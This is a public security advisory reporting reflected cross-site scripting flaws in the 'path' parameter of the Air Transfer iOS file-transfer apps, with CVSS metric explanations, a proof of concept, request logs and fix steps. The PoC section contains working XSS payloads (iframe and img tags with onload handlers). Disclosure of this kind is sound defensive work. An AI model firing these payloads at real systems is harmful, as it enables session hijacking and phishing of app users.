The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Air Transfer 1.2.1 / 1.0.14 Cross Site ScriptingDocument Title:
===============
Air Transfer 1.2.1 & 1.0.14 iOS - Multiple XSS Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2035
Release Date:
=============
2017-02-22
Vulnerability Laboratory ID (VL-ID):
====================================
2035
Common Vulnerability Scoring System:
====================================
3.2
Product & Service Introduction:
===============================
Air Transfer is a photo/movie safe that keeps all of your private pictures and videos hidden behind a password. It lets you
upload and download files to/from your device over a wireless connection. Easy-to-use web interface, no USB cable needed.
(Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-file-transfer/id1127766528 )
Air Transfer : Wi-Fi Sync Manager lets you upload and download files (photos, videos etc) to/from your iPhone, iPad,
Mac or PC using your local wifi network.
(Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-wi-fi-sync-file-manager/id1195756593 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple cross site scripting vulnerabilities in the
offical Air Transfer v1.2.1 & Air Transfer v1.0.14 iOS mobile application.
Vulnerability Disclosure Timeline:
==================================
2017-02-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Hong Nguyen
Product: Air Transfer Application - (iPad & iPhone) 1.0.14
Janki Panchani
Product: Air Transfer Application - (iPad & iPhone) 1.2.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered in the official Air Transfer v1.2.1 &
Air Transfer v1.0.14 iOS mobile application. The vulnerability allows remote attackers to inject script codes to
client-side application requests with non-persistent attack vector.
The client-side cross site scripting vulnerabilities are located in the `path` parameter of the `list` and `download`
modules. Remote attackers are able to inject script code to the client-side GET method requests via download or list
to perform a cross site scripting attack. The validation of the `path` prameter is insecure designed and allows to
execute client-side codes within the error exception-handling. The request method to inject is GET and the attack
vector is non-persistent.
The security risk of the xss vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system)
count of 3.2. Exploitation of the web vulnerability requires no privilege web-application user account and low or medium
user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking,
non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected module context.
Request Method(s):
[+] GET
Vulnerable Module(s)
[+] list
[+] download
Vulnerable Parameter(s)
[+] path
Affected Module(s)
[+] Error - Exception Handling
Proof of Concept (PoC):
=======================
The cross site scripting vulnerabilities can be exploited by remote attackers without privilege
web-application user account and with low or medium user interaction. For security demonstration
or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install the vulnerable ios mobile application
2. Start the wifi server
3. Connect to the wifi localhost via http protocol
4. Attach the vulnerable module and parameter with payload in a GET method request
5. Perform the request and the web-server replies with an error
6. The execution occurs in the error message
7. Successful reproduce of the cross site scripting vulnerability!
PoC: Vulnerable Source (Execution in Exception)
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP Error 404</title></head>
<body><h1>HTTP Error 404: <[CROSS SITE SCRIPTING PAYLOAD EXECUTION!]> does not exist</h1>
<h3></h3></body></html>
PoC: Exploitation
http://localhost/list?path=>"<iframe src="evil.source" onload=alert("CSXSS")>
http://localhost/download?path=>"<img src="evil.source" onload=alert("CSXSS")>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost/list?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E
Mime Type[text/html]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Response Header:
Content-Length[209]
Content-Type[text/html; charset=utf-8]
Server[GCDWebUploader]
-
Status: 200[OK]
GET http://localhost/download?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E
Mime Type[text/html]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Content-Length[184]
Content-Type[text/html; charset=utf-8]
Connection[Close]
Server[GCDWebUploader]
Reference(s):
http://localhost/
http://localhost/list
http://localhost/download
http://localhost/list?path=
http://localhost/download?path=
Solution - Fix & Patch:
=======================
The security vulnerabilities can be patched by following the listed steps below ...
1. Restrict the path parameter input by disallowing tags, script codes and specialchars
2. Parse the path parameter content on transmit via list or download module
3. Parse via escape the output content in the error message of the web-server to prevent the execution point
4. Setup a mechanism to filter malicious content in the path variable to prevent further attacks
Security Risk:
==============
The security risk of the non-persistent cross site scripting vulnerabilities in the mobile applications are estimated as medium. (CVSS 3.2)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
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